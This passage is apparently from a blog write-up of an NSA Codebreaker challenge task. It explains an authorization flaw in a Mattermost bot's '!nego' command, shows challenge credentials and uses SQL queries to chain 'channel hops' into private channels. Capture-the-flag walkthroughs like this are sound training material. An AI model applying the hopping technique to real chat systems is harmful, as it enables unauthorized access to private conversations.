style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e~/Downloads ❯ cat user.txt\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecynicaltuna4:ViPgVWPQheHshaPs\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNext, I explored the extracted directory structure:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e~/Downloads ❯ cd volumes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e~/Downloads/volumes ❯ ls\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebot  db\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e~/Downloads/volumes ❯ cd bot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e~/Downloads/volumes/bot ❯ ls\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebot.py  malware_database.py  mmpy_bot_monkeypatch.py  plugin_admin.py  plugin_managechannel.py  plugin_onboarding.py  plugin_sales.py\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003ebot\u003c/code\u003e directory contained several Python scripts implementing various Mattermost bot plugins. After reviewing each plugin, I discovered the \u003ccode\u003e!nego\u003c/code\u003e command in \u003ccode\u003eplugin_sales.py\u003c/code\u003e.\u003c/p\u003e\n\u003ch3 id=\"vulnerability-discovery\"\u003eVulnerability Discovery\u003c/h3\u003e\n\u003cp\u003eThe \u003ccode\u003e!nego\u003c/code\u003e command is designed to create private negotiation channels between users. The command accepts four parameters: a channel name and three usernames (where the fourth must be a moderator with the \u003ccode\u003emod_\u003c/code\u003e prefix).\u003c/p\u003e\n\u003cp\u003eExamining the code revealed a critical vulnerability in how it handles channel membership verification. The function performs the following operations:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eCreates a new private channel (or unarchives an existing archived channel)\u003c/li\u003e\n\u003cli\u003eVerifies that all four users (the command sender plus the three specified users) exist\u003c/li\u003e\n\u003cli\u003eCritically, checks that all four users are members of the current channel where the command is executed:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecurrent_members_ids \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [m[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;user_id\u0026#39;\u003c/span\u003e] \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e m \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003edriver\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003echannels\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eget_channel_members(message\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003echannel_id)]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e (user_ids[\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e current_members_ids \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e user_ids[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e current_members_ids \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        user_ids[\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e current_members_ids \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e user_ids[\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e current_members_ids):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003edriver\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ereply_to(message, \u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Could not find users\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"4\"\u003e\n\u003cli\u003eIf all checks pass, adds all four users to the newly created/unarchived channel\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eThe vulnerability lies in the fact that the verification only checks membership in the source channel, not the destination channel. This enables a channel hopping exploit:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eExecute \u003ccode\u003e!nego\u003c/code\u003e from the Public channel to create a new private channel with yourself plus 3 other users from Public\u003c/li\u003e\n\u003cli\u003eOnce in that new private channel, execute \u003ccode\u003e!nego\u003c/code\u003e again to hop to another channel, as long as you can find 3 other users (including a moderator) who are also present\u003c/li\u003e\n\u003cli\u003eBy chaining multiple \u003ccode\u003e!nego\u003c/code\u003e commands, progressively \u0026ldquo;hop\u0026rdquo; through channels: Public, to Channel A, to Channel B, and so on to the target channel\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis allows an attacker with access to only one channel to systematically gain access to any private channel in the system, as long as there exists a path of overlapping user memberships connecting them.\u003c/p\u003e\n\u003ch3 id=\"database-analysis\"\u003eDatabase Analysis\u003c/h3\u003e\n\u003cp\u003eI identified the PostgreSQL version and set up a local instance to analyze the Mattermost database:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e~/Downloads/volumes/db/var/lib/postgresql/data ❯ cat PG_VERSION\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e13\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e┌──\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003ekali㉿kali\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e-\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e~/Desktop/NSA_Codebreaker/Task6\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e└─$ sudo docker run -d \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --name mattermost-db \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  -e POSTGRES_HOST_AUTH_METHOD\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003etrust \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  postgres:13\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e┌──\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003ekali㉿kali\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e-\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e~/Desktop/NSA_Codebreaker/Task6\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e└─$ sudo docker stop mattermost-db\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e┌──\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003ekali㉿kali\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e-\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e~/Desktop/NSA_Codebreaker/Task6\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e└─$ sudo docker cp volumes/db/var/lib/postgresql/data/. mattermost-db:/var/lib/postgresql/data/\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e┌──\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003ekali㉿kali\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e-\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e~/Desktop/NSA_Codebreaker/Task6\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e└─$ sudo docker start mattermost-db\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e┌──\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003ekali㉿kali\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e-\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e~/Desktop/NSA_Codebreaker/Task6\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e└─$ sudo docker exec -it mattermost-db psql -U mmuser -d mattermost\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eI verified my starting position and identified the public channel members:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emattermost\u003cspan style=\"color:#f92672\"\u003e=#\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003ec\u003c/span\u003e.name, \u003cspan style=\"color:#66d9ef\"\u003ec\u003c/span\u003e.displayname, \u003cspan style=\"color:#66d9ef\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003etype\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e channels \u003cspan style=\"color:#66d9ef\"\u003ec\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eJOIN\u003c/span\u003e channelmembers cm \u003cspan style=\"color:#66d9ef\"\u003eON\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003ec\u003c/span\u003e.id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e cm.channelid\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eJOIN\u003c/span\u003e users u \u003cspan style=\"color:#66d9ef\"\u003eON\u003c/span\u003e cm.userid \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e u.id\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e u.username \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;cynicaltuna4\u0026#39;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAs expected, I only had access to the \u003ccode\u003epublic\u003c/code\u003e channel, which contained 9 users: \u003ccode\u003eaffectedorange68\u003c/code\u003e, \u003ccode\u003eawedbasmati13\u003c/code\u003e, \u003ccode\u003ecynicaltuna4\u003c/code\u003e, \u003ccode\u003edreadfulantelope98\u003c/code\u003e, \u003ccode\u003emalbot\u003c/code\u003e, \u003ccode\u003emod_stressedcheese82\u003c/code\u003e, \u003ccode\u003epacifiedsnail22\u003c/code\u003e, \u003ccode\u003etroubledllama82\u003c/code\u003e, and \u003ccode\u003eunhappyeland26\u003c/code\u003e.\u003c/p\u003e\n\u003ch3 id=\"finding-the-hop-path\"\u003eFinding the Hop Path\u003c/h3\u003e\n\u003cp\u003eTo reach the adversary\u0026rsquo;s channel, I needed to find a chain of private channels where each successive channel shared at least 4 users with the previous one (including myself and a moderator). I developed SQL queries to identify viable hop targets.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStep 1: Finding the first hop from Public\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003ec\u003c/span\u003e.name, \u003cspan style=\"color:#66d9ef\"\u003ec\u003c/span\u003e.displayname,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e9\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eCOUNT\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e) \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   \u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e channelmembers cm \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   \u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e cm.channelid \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003ec\u003c/span\u003e.id \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   \u003cspan style=\"color:#66d9ef\"\u003eAND\u003c/span\u003e cm.userid \u003cspan style=\"color:#66d9ef\"\u003eIN\u003c/span\u003e (\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e     \u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e userid \u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e channelmembers \u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e channelid \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e id \u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e channels \u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e name\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;public\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   )) \u003cspan style=\"color:#66d9ef\"\u003eas\u003c/span\u003e missing_public_members,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  (\u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e string_agg(u.username, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;, \u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   \u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e users u\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   \u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e u.id \u003cspan style=\"color:#66d9ef\"\u003eIN\u003c/span\u003e (\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e     \u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e userid \u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e channelmembers \u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e channelid \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e id \u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e channels \u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e name\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;public\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   )\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   \u003cspan style=\"color:#66d9ef\"\u003eAND\u003c/span\u003e u.id \u003cspan style=\"color:#66d9ef\"\u003eNOT\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eIN\u003c/span\u003e (\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e     \u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e userid \u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e channelmembers \u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e channelid \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003ec\u003c/span\u003e.id\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   )) \u003cspan style=\"color:#66d9ef\"\u003eas\u003c/span\u003e available_users\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e channels \u003cspan style=\"color:#66d9ef\"\u003ec\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003etype\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;P\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eAND\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e9\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eCOUNT\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e) \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e     \u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e channelmembers cm \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e     \u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e cm.channelid \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003ec\u003c/span\u003e.id \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e     \u003cspan style=\"color:#66d9ef\"\u003eAND\u003c/span\u003e cm.userid \u003cspan style=\"color:#66d9ef\"\u003eIN\u003c/span\u003e (\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e       \u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e userid \u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e channelmembers \u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e channelid \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e id \u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e channels \u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e name\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;public\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e     )) \u003cspan style=\"color:#f92672\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eORDER\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eBY\u003c/span\u003e missing_public_members \u003cspan style=\"color:#66d9ef\"\u003eDESC\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003ec\u003c/span\u003e.name;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis query revealed \u003ccode\u003echannel17298\u003c/code\u003e as a viable first hop, requiring 4 users from public: \u003ccode\u003ecynicaltuna4\u003c/code\u003e, \u003ccode\u003eaffectedorange68\u003c/code\u003e, \u003ccode\u003epacifiedsnail22\u003c/code\u003e, and \u003ccode\u003emod_stressedcheese82\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStep 2: Finding subsequent hops\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eI repeated this process, simulating the channel membership after each \u003ccode\u003e!nego\u003c/code\u003e command. For each hop, I used a CTE (Common Table Expression) to model what the user pool would look like after gaining access to the new channel:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eWITH\u003c/span\u003e channel17298_after_nego \u003cspan style=\"color:#66d9ef\"\u003eAS\u003c/span\u003e (\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e userid \u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e channelmembers \u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e channelid \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e id \u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e channels \u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e name\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;channel17298\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eUNION\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e id \u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e users \u003cspan style=\"color:#66d9ef\"\u003eWHERE\u003c/span\u003e username \u003cspan style=\"color:#66d9ef\"\u003eIN\u003c/span\u003e (\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;cynicaltuna4\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;affectedorange68\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;pacifiedsnail22\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;mod_stressedcheese82\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eSELECT\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003ec\u003c/span\u003e.name, \u003cspan style=\"color:#66d9ef\"\u003ec\u003c/span\u003e.displayname, ...\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis analysis revealed the complete exploitation path:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePublic\u003c/strong\u003e → \u003cstrong\u003echannel17298\u003c/strong\u003e (using: \u003ccode\u003ecynicaltuna4\u003c/code\u003e, \u003ccode\u003eaffectedorange68\u003c/code\u003e, \u003ccode\u003epacifiedsnail22\u003c/code\u003e, \u003ccode\u003emod_stressedcheese82\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003echannel17298\u003c/strong\u003e → \u003cstrong\u003echannel38107\u003c/strong\u003e (using: \u003ccode\u003ecynicaltuna4\u003c/code\u003e, \u003ccode\u003epacifiedsnail22\u003c/code\u003e, \u003ccode\u003emildlapwing47\u003c/code\u003e, \u003ccode\u003emod_innocentrelish97\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003echannel38107\u003c/strong\u003e → \u003cstrong\u003echannel17132\u003c/strong\u003e (using: \u003ccode\u003ecynicaltuna4\u003c/code\u003e, \u003ccode\u003emildlapwing47\u003c/code\u003e, \u003ccode\u003esorebuzzard67\u003c/code\u003e, \u003ccode\u003emod_sugarythrushe15\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003echannel17132\u003c/strong\u003e → \u003cstrong\u003echannel26325\u003c/strong\u003e (using: \u003ccode\u003ecynicaltuna4\u003c/code\u003e, \u003ccode\u003esorebuzzard67\u003c/code\u003e, \u003ccode\u003emeremussel4\u003c/code\u003e, \u003ccode\u003emod_sugarycrane58\u003c/code\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/hopping.png\" 